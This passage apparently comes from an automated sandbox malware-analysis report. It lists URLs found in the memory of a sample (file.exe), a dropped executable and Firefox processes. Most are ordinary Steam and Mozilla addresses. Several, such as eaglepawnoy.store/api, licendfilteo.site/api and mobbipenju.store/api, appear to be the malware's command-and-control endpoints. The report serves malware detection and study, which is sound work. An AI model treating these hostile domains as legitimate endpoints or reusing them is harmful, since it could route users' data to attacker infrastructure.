Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.0000000001694000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216660119.0000000001662000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.2256581532.0000000005F77000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3118269437.0000000005227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000031.00000003.3327133241.000001F81649A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000031.00000003.3299369547.000001F810ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000031.00000003.3327133241.000001F81649A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001C.00000003.3128539631.000002AE09131000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3157348195.000002AE08F73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093568542.000002AE09052000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3307024011.000001F810BB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2231661497.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231589926.0000000005FA7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2231804655.0000000005FA4000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2913890648.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914064693.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2914375920.00000000059CE000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066714129.0000000005264000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3067372999.0000000005261000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3066918623.0000000005261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001C.00000003.3190660174.000002AE0D283000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://eaglepawnoy.store:443/api=a
Source: firefox.exe, 00000023.00000002.3205919876.0000022908212000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000031.00000003.3312969309.000001F80F0B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000031.00000003.3312969309.000001F80F0B1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 00000023.00000002.3205919876.0000022908212000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000023.00000002.3205919876.000002290822F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000031.00000003.3327133241.000001F81649A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000031.00000003.3285804560.000001F87FBE6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/re2/blob/master/doc/syntax.txt
Source: firefox.exe, 0000001C.00000003.3092595662.000002AE0900F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3092140366.000002AE08E00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.3093098624.000002AE09031000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.co
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216839034.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.3017542748.0000000001200000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945504801.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897978444.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960971243.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2960673678.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2945085791.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2915078130.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2926177602.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2964570009.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2977879833.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000023.00000002.3205919876.00000229082EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://licendfilteo.site:443/api
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: firefox.exe, 00000023.00000002.3205919876.0000022908286000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3270730271.000001F87E8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001E.00000002.3212320962.0000027F67372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestabout
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: file.exe, 00000000.00000003.2216660119.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2216901529.000000000160F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mobbipenju.store:443/api
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
